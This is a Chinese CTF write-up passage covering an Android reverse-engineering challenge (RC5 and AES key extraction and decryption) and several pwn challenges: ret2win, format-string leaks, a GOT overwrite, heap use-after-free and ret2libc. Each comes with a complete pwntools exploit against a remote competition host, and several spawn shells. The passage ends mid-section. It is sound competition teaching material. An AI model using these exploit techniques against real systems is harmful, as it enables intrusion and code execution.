2.2 密钥生成 (Enc.java)
Enc.java 中定义了两个静态字节数组,由长整型数字转换而来:
public static final byte[] key = buildIvFromNumber(5125268388433391L);public static final byte[] IV = buildIvFromNumber(-6066929684898893296L);注意在 Enc.Encrypt (AES) 中,这两个变量的使用是反转的:
- AES Key: 使用了
Enc.IV。 - AES IV: 使用了
Enc.key。
3.Native 层分析
3.1 libwhy.so (RC5 算法)
分析 libwhy.so,关注 b.mYstery 方法。
- JNI 注册:
JNI_OnLoad注册了com/example/test/b类的mYstery方法。 - 算法识别:
- 反编译核心函数
sub_16550->sub_17100。 - 发现特征常数
0xB7E15163(P) 和0x9E3779B9(Q)。 - 这是典型的 RC5 加密算法。
- 块大小:64 位 (两个 32 位字)。
- 轮数:12 轮。
- 模式:CBC (Cipher Block Chaining)。
- 反编译核心函数
3.2 libtest.so (AES/SPN 算法)
分析 libtest.so,关注 Enc0.testNative 方法。
- JNI 注册:
JNI_OnLoad注册了Enc0.eNcrpty。 - 密钥提取:
- 函数
sub_14D60调用了加密逻辑。 - 深入分析发现存在 S-box 查找表 (
byte_60710)。 - 通过分析 S-box 的内存引用和异或逻辑,我们编写脚本
extract_key.py从二进制文件中提取出了硬编码的密钥。 - 提取到的密钥为:
You're really nb。 - 算法确认为 AES-ECB (或极其相似的 SPN 结构)。
- 函数
4. 解密过程与代码
我们编写了两个脚本:
extract_key.py: 用于从libtest.so中提取 AES 密钥。solve.py: 逆向执行加密流程,解密 Flag。
4.1 提取密钥 (extract_key.py)
该脚本利用已知 S-box 和文件中的查找表数据,通过异或操作还原出第 10 轮密钥,并逆推回主密钥。
import struct
# Rijndael S-boxsbox = [ 0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15, 0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf, 0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73, 0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08, 0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf, 0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
# RconRcon = [ 0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36]
def extract_key(): offset = 0x5d710
key_round_10 = []
try: with open('jadx_out/resources/lib/x86_64/libtest.so', 'rb') as f: f.seek(offset) data = f.read(4096) if len(data) < 4096: print("Error: Could not read enough data") return
# Check if our assumption is correct: LookUp[k][x] = SBox[x] ^ Key[k] # We can check a few values to see if they are consistent. # Key[k] should be constant for all x. # Key[k] = LookUp[k][x] ^ SBox[x]
for k in range(16): candidates = [] for x in range(16): # Check first 16 values val = data[256 * k + x] candidate_key = val ^ sbox[x] candidates.append(candidate_key)
if all(c == candidates[0] for c in candidates): key_round_10.append(candidates[0]) else: print(f"Mismatch found for byte {k}") print(candidates) return
print("Extracted 10th Round Key:") print("Hex:", " ".join(f"{b:02x}" for b in key_round_10))
# Reverse Key Schedule (AES-128) # 10 rounds. Key size 16 bytes.
current_key = key_round_10[:]
for i in range(10, 0, -1): prev_key = [0] * 16
# w[i] = w[i-1] ^ w[i-4] # w[i-4] = w[i] ^ w[i-1] # Here key is 4 words: w[4i], w[4i+1], w[4i+2], w[4i+3] # w[3] = current_key[12:16] # w[2] = current_key[8:12] # w[1] = current_key[4:8] # w[0] = current_key[0:4]
w3 = current_key[12:16] w2 = current_key[8:12] w1 = current_key[4:8] w0 = current_key[0:4]
# Reversing: # w[4i+3] = w[4i+2] ^ w[4(i-1)+3] => w[4(i-1)+3] = w[4i+3] ^ w[4i+2] # w[4i+2] = w[4i+1] ^ w[4(i-1)+2] => w[4(i-1)+2] = w[4i+2] ^ w[4i+1] # w[4i+1] = w[4i] ^ w[4(i-1)+1] => w[4(i-1)+1] = w[4i+1] ^ w[4i] # w[4i] = w[4(i-1)] ^ RotWord(SubWord(w[4(i-1)+3])) ^ Rcon[i] # => w[4(i-1)] = w[4i] ^ RotWord(SubWord(w[4(i-1)+3])) ^ Rcon[i]
# Let's call previous round words pw0, pw1, pw2, pw3 # pw3 = w3 ^ w2 # pw2 = w2 ^ w1 # pw1 = w1 ^ w0
pw3 = [w3[j] ^ w2[j] for j in range(4)] pw2 = [w2[j] ^ w1[j] for j in range(4)] pw1 = [w1[j] ^ w0[j] for j in range(4)]
# Calculate RotWord(SubWord(pw3)) # RotWord([a,b,c,d]) = [b,c,d,a] rot_pw3 = pw3[1:] + pw3[:1] sub_rot_pw3 = [sbox[b] for b in rot_pw3]
# pw0 = w0 ^ sub_rot_pw3 ^ Rcon[i] pw0 = [0]*4 pw0[0] = w0[0] ^ sub_rot_pw3[0] ^ Rcon[i] pw0[1] = w0[1] ^ sub_rot_pw3[1] pw0[2] = w0[2] ^ sub_rot_pw3[2] pw0[3] = w0[3] ^ sub_rot_pw3[3]
current_key = pw0 + pw1 + pw2 + pw3
print(f"Extracted Master Key (Round 0):") print("Hex:", " ".join(f"{b:02x}" for b in current_key)) print("Bytes:", bytes(current_key))
except Exception as e: print(f"Error: {e}")
if __name__ == '__main__': extract_key()4.2 综合解密 (solve.py)
该脚本实现了 RC5-CBC 和 AES-CBC/ECB 的解密逻辑。
import structfrom Crypto.Cipher import AESfrom Crypto.Util.number import long_to_bytes
# ConstantsTARGET_HEX = "7a626613d1a3b13a5c6ff2c4a27d272390237d1497afd81df1e168ea5fd84a395f999ebad349517553d3d33c24bb707c015808cd16f9b3cdd25ccd064fe9167389e9e4384ddcc54f"KEY_VAL = 5125268388433391IV_VAL = -6066929684898893296
def build_iv_from_number(value): iv = bytearray(16) val_64 = value & 0xFFFFFFFFFFFFFFFF for i in range(8): byte_val = (val_64 >> (i * 8)) & 0xFF iv[15 - i] = byte_val return bytes(iv)
def ROL(x, y): return ((x << y) & 0xFFFFFFFF) | (x >> (32 - y))
def ROR(x, y): return ((x >> y) & 0xFFFFFFFF) | (x << (32 - y))
class RC5: def __init__(self, key): self.rounds = 12 self.w = 32 # word size self.b = len(key) self.P = 0xB7E15163 self.Q = 0x9E3779B9
# Key Expansion u = self.w // 8 c = (self.b + u - 1) // u L = [0] * c for i in range(self.b - 1, -1, -1): L[i // u] = (L[i // u] << 8) + key[i]
self.S = [0] * (2 * self.rounds + 2) self.S[0] = self.P for i in range(1, len(self.S)): self.S[i] = (self.S[i-1] + self.Q) & 0xFFFFFFFF
i = j = 0 A = B = 0 t = 3 * max(len(self.S), c)
for k in range(t): A = self.S[i] = ROL((self.S[i] + A + B) & 0xFFFFFFFF, 3) B = L[j] = ROL((L[j] + A + B) & 0xFFFFFFFF, (A + B) % 32) i = (i + 1) % len(self.S) j = (j + 1) % c
def decrypt_block(self, data): A = struct.unpack('<I', data[0:4])[0] B = struct.unpack('<I', data[4:8])[0]
for i in range(self.rounds, 0, -1): B = ROR((B - self.S[2 * i + 1]) & 0xFFFFFFFF, A % 32) ^ A A = ROR((A - self.S[2 * i]) & 0xFFFFFFFF, B % 32) ^ B
B = (B - self.S[1]) & 0xFFFFFFFF A = (A - self.S[0]) & 0xFFFFFFFF
return struct.pack('<I', A) + struct.pack('<I', B)
def unpad_cc(data): # Remove trailing 0xCC bytes while len(data) > 0 and data[-1] == 0xCC: # -52 is 0xCC data = data[:-1] return data
def solve(): # 1. Prepare Keys and IVs enc_key = build_iv_from_number(KEY_VAL) # Used as RC5 Key enc_iv = build_iv_from_number(IV_VAL) # Used as RC5 IV source
rc5_key = enc_key rc5_iv = enc_iv[8:16] # Last 8 bytes
print(f"RC5 Key: {rc5_key.hex()}") print(f"RC5 IV: {rc5_iv.hex()}")
# 2. RC5 Decrypt cipher_bytes = bytes.fromhex(TARGET_HEX) rc5 = RC5(rc5_key)
plain_bytes = bytearray() current_iv = rc5_iv
for i in range(0, len(cipher_bytes), 8): block = cipher_bytes[i:i+8] decrypted_block = rc5.decrypt_block(block) # CBC XOR plaintext_block = bytes(a ^ b for a, b in zip(decrypted_block, current_iv)) plain_bytes.extend(plaintext_block) current_iv = block
cypher_str = plain_bytes.decode('utf-8', errors='ignore') print(f"Decrypted RC5 (len={len(plain_bytes)}): {plain_bytes.hex()}") print(f"Decrypted String (len={len(cypher_str)}): {cypher_str}")
# 3. Split parts # cypher = cipherHex1 + cipherHex2 # cipherHex1 is 32 chars.
cipher_hex1 = cypher_str[:32] cipher_hex2 = cypher_str[32:64] # Limit to 32 chars for second part
print(f"Hex1 ({len(cipher_hex1)}): {cipher_hex1}") print(f"Hex2 ({len(cipher_hex2)}): {cipher_hex2}")
# 4. Decrypt Part 1 (AES-CBC) # Enc.Encrypt uses: # Key: Enc.IV (enc_iv) # IV: Enc.key (enc_key)
aes_key1 = enc_iv aes_iv1 = enc_key
cipher_bytes1 = bytes.fromhex(cipher_hex1) cipher1 = AES.new(aes_key1, AES.MODE_CBC, aes_iv1) plain_bytes1 = cipher1.decrypt(cipher_bytes1)
# Unpad (custom 0xCC) s1_bytes = unpad_cc(plain_bytes1) s1 = s1_bytes.decode('utf-8') print(f"Part 1: {s1}")
# 5. Decrypt Part 2 (AES-ECB/SPN) # Key extracted from libtest.so libtest_key = b"You're really nb"
cipher_bytes2 = bytes.fromhex(cipher_hex2) cipher2 = AES.new(libtest_key, AES.MODE_ECB) plain_bytes2 = cipher2.decrypt(cipher_bytes2)
# Unpad? libtest.so sub_14D60 checks % 16. Doesn't seem to pad/unpad. # But s2 is part of flag. Likely padded or just null terminated? # Or maybe it's just 16 bytes. s2_bytes = plain_bytes2 try: s2 = s2_bytes.decode('utf-8') except: s2 = s2_bytes.hex() # Fallback
print(f"Part 2: {s2}")
# Combine flag = f"flag{{{s1}{s2}}}" print(f"Flag: {flag}")
if __name__ == "__main__": solve()PWN
PWN1
1. 题目分析
首先使用 file 和 checksec 检查题目二进制文件的基本信息和保护机制。
$ file pwnpwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, not stripped
$ checksec --file=pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX unknown - GNU_STACK missing (通常开启) PIE: No PIE (0x400000)关键点:
- 64位 ELF 程序。
- No Canary: 栈溢出保护未开启,这使得我们可以轻松覆盖栈上的返回地址。
- No PIE: 代码段地址固定,基址为
0x400000,利用 ROP 或跳转到固定函数非常方便。
通过反汇编 main 和 vulnerable_function 函数:
main函数调用了vulnerable_function。vulnerable_function(0x401200) 中定义了一个0x40(64字节) 的缓冲区。- 程序使用了
gets()函数读取用户输入。gets()不检查输入长度,导致严重的 栈溢出 (Stack Buffer Overflow) 漏洞。
通过 objdump 或 IDA 查看,发现了一个后门函数 win (0x4011dd):
00000000004011dd <win>: ... call puts("Congratulations! You got the flag!") call system("echo $FLAG") ...这个函数直接输出环境变量中的 FLAG。因此,最简单的利用思路是 Ret2Win:通过栈溢出覆盖返回地址,将其修改为 win 函数的地址。
计算偏移量
栈结构通常如下:
[ Buffer (64 bytes) ][ Saved RBP (8 bytes) ][ Return Address (8 bytes) ] <--- 目标因此,我们需要填充的数据长度为 64 + 8 = 72 字节。第 73-80 字节将覆盖返回地址。
构造 Payload
- Padding: 72 个 ‘A’。
- Ret Address:
win函数的地址0x4011dd。
注意: 在某些 64 位系统中,调用 system 等函数时需要栈对齐 (16字节对齐)。如果直接跳转失败,可以在 win 地址前加一个 ret 指令 (0x40101a) 的地址作为填充(ROP Gadget)。
Exp:
from pwn import *
# 配置exe = './pwn'elf = ELF(exe)context.binary = execontext.log_level = 'debug'
# 远程连接参数 (请根据实际情况修改)ip = '150.138.81.18'port = 11402
def exploit(): # 连接远程或本地进程 if args.REMOTE: io = remote(ip, port) else: io = process(exe)
# 1. 确定偏移量 # buffer (0x40) + rbp (0x8) = 72 offset = 72
# 2. 获取 win 函数地址 win_addr = elf.symbols['win'] # 或者 0x4011dd log.info(f"Win Address: {hex(win_addr)}")
# 3. 构造 Payload # padding + win_addr payload = b'A' * offset + p64(win_addr)
# 4. 发送 Payload io.recvuntil(b'Enter your input: \n') io.sendline(payload)
# 5. 获取交互 (或直接读取输出) io.interactive()
if __name__ == '__main__': exploit()PWN3
1. 题目信息
- 题目名称: PWN3 (pwn_challenge)
- 文件架构: Linux x86-64 ELF
- 保护机制:
- No PIE (地址固定)
- No Canary (无栈溢出保护哨兵)
- NX Enabled (栈不可执行)
2. 逆向分析
使用 objdump 和 file 工具对二进制文件进行静态分析。
主要函数逻辑
-
read_flag(0x401276):- 该函数从环境变量中读取 Flag,或者如果环境变量不存在,则可能读取本地文件(虽然本题环境中主要是从环境/堆中获取)。
- Flag 被读取后存储在堆(Heap)内存中,函数返回指向 Flag 字符串的指针。
-
main(0x40135d):- 程序首先调用
read_flag函数。 - 返回的 Flag 指针被存储在栈上
[rbp - 0x8]的位置。 - 程序提示 “Enter your name:”。
- 使用
fgets读取用户输入到栈缓冲区[rbp - 0x70],最大读取 100 字节。 - 漏洞点: 调用
printf(buffer)直接打印用户输入的内容,未包含格式化字符串参数,导致格式化字符串漏洞 (Format String Vulnerability)。
- 程序首先调用
3. 漏洞利用
由于我们可以控制 printf 的格式化字符串参数,我们可以利用它来读取栈上的任意数据。
偏移量计算
我们需要读取的是 Flag,而 Flag 的地址指针存储在栈上。
- Flag 指针位置:
[rbp - 0x8] - 输入缓冲区位置:
[rbp - 0x70](即格式化字符串本身的位置) - 距离计算:
- 两者在栈上的距离为
0x70 - 0x8 = 0x68 = 104字节。 - 栈单元大小为 8 字节,所以相差
104 / 8 = 13个参数位置。
- 两者在栈上的距离为
- 参数定位:
- 经过调试或计算,输入缓冲区对应
printf的第 8 个参数(%8$p会打印出缓冲区的开头)。 - 因此,Flag 指针所在的参数位置为
8 + 13 = 21。 - 目标参数为第 21 个参数。
- 经过调试或计算,输入缓冲区对应
我们需要让 printf 将第 21 个参数视为字符串指针,并打印其指向的内容。
- Payload:
%21$s
exp
from pwn import *
# 配置上下文binary_path = './pwn_challenge'# context.binary = elf = ELF(binary_path) # 如果有本地文件可启用context.log_level = 'info'context.arch = 'amd64'context.os = 'linux'
# 远程题目地址HOST = '150.138.81.18'PORT = 10640
def exploit(): # 连接远程靶机 io = remote(HOST, PORT)
# 漏洞分析: # 1. Flag 指针存储在栈上 [rbp - 0x8] # 2. 输入缓冲区位于 [rbp - 0x70] # 3. 两者相差 104 字节 (13 个 8字节字) # 4. 缓冲区起始于 printf 的第 8 个参数位置 # 5. Flag 指针位于 8 + 13 = 21 参数位置
# 构造 Payload: 读取第 21 个参数指向的字符串 payload = b'%21$s'
# 接收提示信息 "Enter your name: " io.recvuntil(b'name: ')
# 发送 Payload print(f"[+] Sending payload: {payload}") io.sendline(payload)
# 接收输出结果 try: response = io.recv() print("\n[+] Received output:") print(response.decode(errors='ignore'))
if b'HSCCTF{' in response: print("\n[SUCCESS] Flag found!") except EOFError: print("[-] Connection closed unexpectedly")
io.close()
if __name__ == '__main__': exploit()PWN4
基本信息
- 文件名:
pwn - 架构: x86-64
- 保护机制:
- RELRO: Partial RELRO (GOT表可写)
- Stack Canary: Disabled (无栈溢出保护)
- NX: Enabled (栈不可执行)
- PIE: Enabled (地址随机化)
逆向分析
程序逻辑非常简单,主要功能在 echo 函数中:
- 使用
fgets读取用户输入到栈上缓冲区。 - 使用
printf输出缓冲区内容。 - 使用
strcmp比较输入是否为 “exit”,如果是则退出,否则循环执行。
// 伪代码void echo() { char buf[0x100]; while (1) { fgets(buf, 0x100, stdin); printf(buf); // Format String Vulnerability! if (strcmp(buf, "exit\n") == 0) break; }}漏洞点: printf(buf) 存在格式化字符串漏洞。由于程序是一个循环,我们可以多次利用该漏洞进行泄漏和写入。
2. 利用思路
由于开启了 PIE,我们需要先泄漏地址。利用步骤如下:
-
泄漏 PIE 基址:
- 通过 fuzz 发现偏移为 6。
- 查看栈上数据,发现
%41$p处存储了一个指向程序代码段的返回地址 (偏移0xa03)。 - 计算公式:
PIE_Base = leaked_addr - 0xa03。
-
泄漏 Libc 地址:
- 利用
%7$s(对应栈上偏移 6 的位置,我们需要填充 padding) 来读取任意地址内容。 - 构造 payload 读取
printf的 GOT 表内容。 - 通过泄漏的
printf地址,确定 libc 版本 (本题环境推测为 Ubuntu 16.04, glibc 2.23)。 - 计算
system函数地址。
- 利用
-
劫持控制流 (GOT Hijacking):
- 由于 Partial RELRO,GOT 表是可写的。
- 使用格式化字符串漏洞的
%n功能,将printf的 GOT 表项修改为system函数的地址。 - 这里使用了
pwntools的fmtstr_payload自动生成 payload。
-
Get Shell:
- 修改成功后,下一次调用
printf(buf)实际上会执行system(buf)。 - 发送
/bin/sh,程序执行system("/bin/sh"),获得 shell。
- 修改成功后,下一次调用
exp
from pwn import *import time
context.arch = 'amd64'context.log_level = 'info'
host = '150.138.81.18'port = 12355
def exploit(): r = remote(host, port)
# === 第一步:泄漏 PIE 基址 === # %41$p 泄漏栈上的返回地址,其偏移为 0xa03 r.sendline(b"%41$p") resp1 = r.recvline() leak_pie = int(resp1.decode().strip(), 16) pie_base = leak_pie - 0xa03 log.success(f"PIE Base: {hex(pie_base)}")
# === 第二步:泄漏 Libc 地址 === # 计算 printf 的 GOT 表地址 printf_got = pie_base + 0x201020
# 构造 payload: "%7$s" + "AAAA" + p64(printf_got) # 这里的 p64(printf_got) 会被放在栈上偏移 7 的位置 payload2 = b"%7$sAAAA" + p64(printf_got) r.sendline(payload2)
# 接收泄漏数据 resp2 = r.recvuntil(b"AAAA") leak_bytes = resp2[:-4] leak_printf = u64(leak_bytes.ljust(8, b'\x00')) log.success(f"Printf Leak: {hex(leak_printf)}")
# 计算 system 地址 # 根据泄漏地址分析,环境为 libc-2.23 # offset_printf = 0x55800, offset_system = 0x45390 system_addr = leak_printf - 0x10470 log.success(f"System Addr: {hex(system_addr)}")
# === 第三步:改写 GOT 表 === # 将 printf 的 GOT 表地址修改为 system 地址 # fmtstr_payload 会自动计算偏移 (偏移 6) writes = {printf_got: system_addr} payload3 = fmtstr_payload(6, writes, write_size='short') log.info("Sending fmtstr payload to overwrite GOT...") r.sendline(payload3)
# 消耗掉 %n 产生的大量输出 try: while True: chunk = r.recv(4096, timeout=1) if not chunk: break except: pass
# === 第四步:Get Shell === # 此时 printf 变成了 system,发送 /bin/sh 即可 log.info("Sending /bin/sh...") r.sendline(b"/bin/sh")
# 读取 Flag r.sendline(b"cat flag") r.interactive()
if __name__ == "__main__": exploit()PWN2
1. 基本信息
- 文件名:
pwn - 架构: x86-64 ELF
- 保护机制:
- RELRO: Partial RELRO
- Stack: No canary found
- NX: NX enabled (堆栈不可执行)
- PIE: No PIE (代码段地址固定,利于利用)
2. 程序功能
这是一个经典的堆菜单题(Heap Note Manager),主要功能如下:
- Create Note: 创建笔记。先申请
0x18字节的结构体,再根据用户输入的大小申请内容堆块。 - Edit Note: 编辑笔记内容。
- Delete Note: 删除笔记。
- View Note: 查看笔记。
3. 漏洞分析
通过逆向分析 delete_note 函数,我们发现程序在 free 掉结构体指针和内容指针后,没有将全局数组 notes 中的指针置空。
// delete_note 伪代码逻辑free(notes[index]->content);free(notes[index]);// 缺少 notes[index] = NULL; 导致悬挂指针这导致了 Use-After-Free (UAF) 漏洞。我们可以继续通过 view_note 或 edit_note 访问已经被释放的内存。
4. 结构体分析
通过分析 create_note,我们可以还原出 Note 的结构体:
struct Note { int size; // 偏移 0x00 char *content; // 偏移 0x08 void (*print_func)(char *); // 偏移 0x10 (函数指针)};值得注意的是,每个 Note 都有一个函数指针 print_func,默认指向 default_print。在 view_note 时,程序会直接调用这个函数指针来输出内容。
利用点: 如果我们能覆盖这个函数指针,将其指向后门函数,就能劫持控制流。
目标是覆盖 notes[0]->print_func 为后门函数 win (0x401236)。
- Tcache 机制: 小于
0x420字节的 chunk 释放后会进入 Tcache。Tcache 是后进先出 (LIFO) 的。 - 构造堆布局:
- 申请两个 Note (Note 0, Note 1),大小设为
100(避免内容 chunk 和结构体 chunk 混在同一个 bin 里,不过这里结构体固定是0x20大小的 chunk)。 create_note时,会先malloc(0x18)(结构体,实际分配0x20),再malloc(size)(内容)。
- 申请两个 Note (Note 0, Note 1),大小设为
- 触发 Free:
delete_note(0): 释放 Note 0 的 Content 和 Struct。Struct 0 进入 Tcache(0x20)。delete_note(1): 释放 Note 1 的 Content 和 Struct。Struct 1 进入 Tcache(0x20)。- 此时 Tcache(0x20) 链表:
Struct 1 -> Struct 0。
- 类型混淆 (Type Confusion):
- 申请一个新的 Note (Note 2),关键点是将内容大小也设为
24(请求 24 字节,系统会分配0x20的 chunk)。 - 分配过程:
- 分配 Note 2 的 结构体 (
0x18):拿到 Tcache 里的第一个块 (原 Struct 1)。 - 分配 Note 2 的 内容 (
24):拿到 Tcache 里的第二个块 (原 Struct 0)。
- 分配 Note 2 的 结构体 (
- 现在,Note 2 的内容指针指向了 Note 0 的结构体所在的内存!
- 申请一个新的 Note (Note 2),关键点是将内容大小也设为
- 劫持控制流:
- 向 Note 2 写入数据,实际上就是向 Note 0 的结构体写入数据。
- 构造 payload:填充 16 字节 (覆盖
size和content指针) +win函数地址。 - 这样 Note 0 的
print_func指针就被修改为了win函数地址。
- 触发后门:
- 调用
view_note(0)。程序使用悬挂指针notes[0],读取被修改的函数指针并执行,从而获得 Shell。
- 调用
exp
from pwn import *
# 连接远程环境r = remote('150.138.81.18', 11112)
# 定义交互函数def create_note(size, content): r.sendlineafter(b'Choice: ', b'1') r.sendlineafter(b'Size: ', str(size).encode()) r.sendlineafter(b'Content: ', content)
def delete_note(index): r.sendlineafter(b'Choice: ', b'3') r.sendlineafter(b'Index: ', str(index).encode())
def view_note(index): r.sendlineafter(b'Choice: ', b'4') r.sendlineafter(b'Index: ', str(index).encode())
# 后门函数地址win_addr = 0x401236
# 1. 创建两个 Note# Note 0: Struct A, Content Bcreate_note(100, b"AAAA")# Note 1: Struct C, Content Dcreate_note(100, b"BBBB")
# 2. 删除 Note,将结构体 Chunk 放入 Tcache(0x20)# delete 0 -> Tcache: Adelete_note(0)# delete 1 -> Tcache: C -> Adelete_note(1)
# 3. 申请 Note 2,利用类型混淆# 申请 Struct 2 (0x18) -> 拿到 C# 申请 Content 2 (24) -> 拿到 A (即 Note 0 的结构体)# 我们写入的内容会覆盖 Note 0 的结构体# 结构体布局: [size (8)] [content_ptr (8)] [func_ptr (8)]# Payload: 16字节填充 + win函数地址payload = b"A" * 16 + p64(win_addr)create_note(24, payload)
# 4. 查看 Note 0 触发利用# Note 0 已经被释放,但指针未清空 (UAF)# view_note 会调用 notes[0]->print_func,此时已被修改为 winr.sendlineafter(b'Choice: ', b'4')r.sendlineafter(b'Index: ', b'0')
# 5. 获取 Shellr.sendline(b'cat flag')r.interactive()PWN7
题目信息
- 题目名称: PWN7
- 题目类型: CTF Pwn (Stack Buffer Overflow)
- 架构: x86-64 (amd64)
1. 逆向分析
首先使用 checksec 检查程序的保护机制:
Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)保护分析:
- No Canary: 栈溢出时没有 Canary 检查,利用简单。
- No PIE: 代码段地址固定,方便寻找 ROP gadgets。
- NX Enabled: 栈不可执行,无法直接在栈上运行 shellcode,需要使用 ROP。
漏洞点:
通过 IDA 或 objdump 分析二进制文件,发现 main 函数调用了一个子函数(地址 0x4011f6),该函数存在明显的栈溢出漏洞:
- 缓冲区大小:约为 14 字节(
rbp-0xe)。 - 读取输入:使用
read(0, buf, 0x100)读取了 256 字节。 - 溢出空间:
0x100 - 14 = 242字节,足够构造 ROP 链。
2. 利用思路 (Exploit Strategy)
由于开启了 NX 保护且没有后门函数,我们需要采用 Ret2Libc 的攻击方式。
第一步:泄漏 Libc 地址
利用 puts 函数打印 puts 在 GOT 表中的真实地址。
- 构造 ROP 链:
pop_rdi_ret->got_puts->plt_puts->main_addr - 这里的
main_addr是为了在泄漏地址后让程序重新执行,以便我们再次进行溢出攻击。
第二步:计算并执行 System
根据泄漏的 puts 地址,我们可以确定远程环境使用的 Libc 版本,并计算出 system 函数和 /bin/sh 字符串的内存地址。
- Libc 基址 =
leaked_puts-offset_puts system_addr= Libc 基址 +offset_systembin_sh_addr= Libc 基址 +offset_str_bin_sh
第三步:获取 Shell
再次发送 Payload 调用 system("/bin/sh")。
- 构造 ROP 链:
pop_rdi_ret->bin_sh_addr->ret(用于栈对齐) ->system_addr - 注意:在 x86-64 系统中,调用
system时栈必须按 16 字节对齐。如果直接调用可能会崩溃,因此我们加入一个单纯的retgadget 来调整栈指针。
3. Libc 版本识别
通过泄漏的地址(通常以 e50 结尾),结合工具或尝试,确定远程环境为 Ubuntu 22.04 (glibc 2.35)。
puts偏移:0x80e50/bin/sh偏移:0x1d8678system偏移:0x50d70
- exp
from pwn import *
# 设置环境上下文context.arch = 'amd64'context.log_level = 'info'
# 题目连接信息host = '150.138.81.18'port = 10265
# ---------------------------# 1. 地址与 Gadgets 定义# ---------------------------# 从二进制文件中找到的 Gadgetspop_rdi = 0x4016c1ret_gadget = 0x4016c2
# PLT 和 GOT 表地址puts_plt = 0x4010a0puts_got = 0x404018main_addr = 0x4012ab # 重新跳转回 main
# Libc 偏移 (基于 Ubuntu 22.04 / glibc 2.35)offset_puts = 0x80e50offset_str_bin_sh = 0x1d8678offset_system = 0x50d70
# 连接远程服务p = remote(host, port)
# ---------------------------# 2. Payload 1: 泄漏 Libc 地址# ---------------------------p.recvuntil(b'Input something: ')
# 偏移量计算: 14 字节缓冲 + 8 字节 Saved RBP = 22 字节offset = 22payload1 = b'A' * offsetpayload1 += p64(pop_rdi)payload1 += p64(puts_got) # rdi = puts_gotpayload1 += p64(puts_plt) # call putspayload1 += p64(main_addr) # return to main
print("[-] Sending Payload 1 to leak libc...")p.sendline(payload1)
# 解析输出content = p.recvuntil(b'Welcome!\n')# 查找 Welcome! 之前的数据,提取泄漏的地址idx = content.find(b'Welcome!')# puts 输出地址后会有换行符,取前 6 字节leak_bytes = content[idx-7:idx-1]leak_puts = u64(leak_bytes.ljust(8, b'\x00'))print(f"[+] Leaked puts address: {hex(leak_puts)}")
# 计算基址libc_base = leak_puts - offset_putsprint(f"[+] Libc Base: {hex(libc_base)}")
# 计算 System 和 /bin/sh 地址system_addr = libc_base + offset_systembin_sh_addr = libc_base + offset_str_bin_shprint(f"[+] System Address: {hex(system_addr)}")print(f"[+] /bin/sh Address: {hex(bin_sh_addr)}")
# ---------------------------# 3. Payload 2: Get Shell# ---------------------------p.recvuntil(b'Input something: ')
payload2 = b'A' * offsetpayload2 += p64(pop_rdi)payload2 += p64(bin_sh_addr) # rdi = "/bin/sh"payload2 += p64(ret_gadget) # Stack Alignment (16 bytes)payload2 += p64(system_addr) # call system
print("[-] Sending Payload 2 to get shell...")p.sendline(payload2)
# 交互模式p.sendline(b'cat flag')p.interactive()PWN6
1. 基本信息
- 文件:
pwn_chall(原名pwn (1)) - 架构: x86-64 ELF
- 保护机制:
- RELRO: Partial RELRO (GOT表可写)
- Canary: 无 (No Canary)
- NX: 开启 (堆栈不可执行)
- PIE: 关闭 (No PIE, 代码段地址固定)
2. 程序功能
这是一个经典的堆管理器 (Heap Manager) 题目,提供了以下功能:
- Create Note: 分配两个堆块。
- 结构体 chunk (0x18 bytes -> malloc 实际上分配 0x20)。
- 内容 chunk (用户指定大小)。
- 结构体包含:
